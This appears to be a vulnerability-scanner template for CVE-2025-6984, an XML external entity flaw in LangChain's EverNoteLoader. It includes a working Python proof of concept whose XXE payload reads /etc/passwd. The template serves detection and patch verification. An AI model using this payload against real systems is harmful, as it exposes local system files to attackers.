id: CVE-2025-6984

info:
  name: langchain-ai langchain - XML External Entity Injection
  author: nukunga
  severity: high
  description: |
    langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
  impact: |
    Attackers can disclose sensitive local files, potentially exposing critical system information.
  remediation: |
    Update to the latest version that disables external entity references in XML parsing.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6984
    - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
    - https://github.com/langchain-ai/langchain-community/commit/e842452
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-6984
    epss-score: 0.01922
    epss-percentile: 0.83613
    cwe-id: CWE-200
  metadata:
    verified: true
  tags: cve,cve2025,langchain,xxe,intrusive,file-write

self-contained: true

code:
  - engine:
      - py
      - python3

    source: |
      import tempfile
      import os
      from langchain_community.document_loaders import EverNoteLoader

      if __name__ == "__main__":

          xxe_payload = '''<?xml version="1.0" ?>
      <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
      <note>
          <content>&example;</content>
      </note>'''

          # Write payload to temporary file
          with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
              f.write(xxe_payload)
              temp_file = f.name

          try:
              loader = EverNoteLoader(temp_file)
              print(loader.load())
          finally:
              os.unlink(temp_file)

    matchers:
      - type: word
        part: response
        words:
          - "root:"
          - "bin:"
          - "daemon:"
        condition: or
# digest: 4a0a00473045022060c5d306cf1a06a9d249cd1de952ced53e885df6d3ba43a8da36d1cd5fe21a12022100834f7dbced529646b46aff117362188d9eb2e9071556d8f64023ab62ec084a77:922c64590222798bb761d5b6d8e72950